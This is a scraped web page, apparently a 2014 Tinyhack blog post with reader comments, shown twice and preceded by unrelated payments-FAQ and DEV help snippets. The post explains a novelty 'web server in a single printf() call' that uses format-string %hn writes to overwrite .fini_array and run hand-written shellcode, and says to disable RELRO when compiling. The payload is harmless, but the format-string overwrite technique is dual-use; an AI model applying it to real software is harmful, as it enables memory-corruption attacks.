Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. 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https://dev.to/help/customizing-your-feed#Follow-Tags | Customizing Your Feed - DEV Help - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23554 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23563 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just 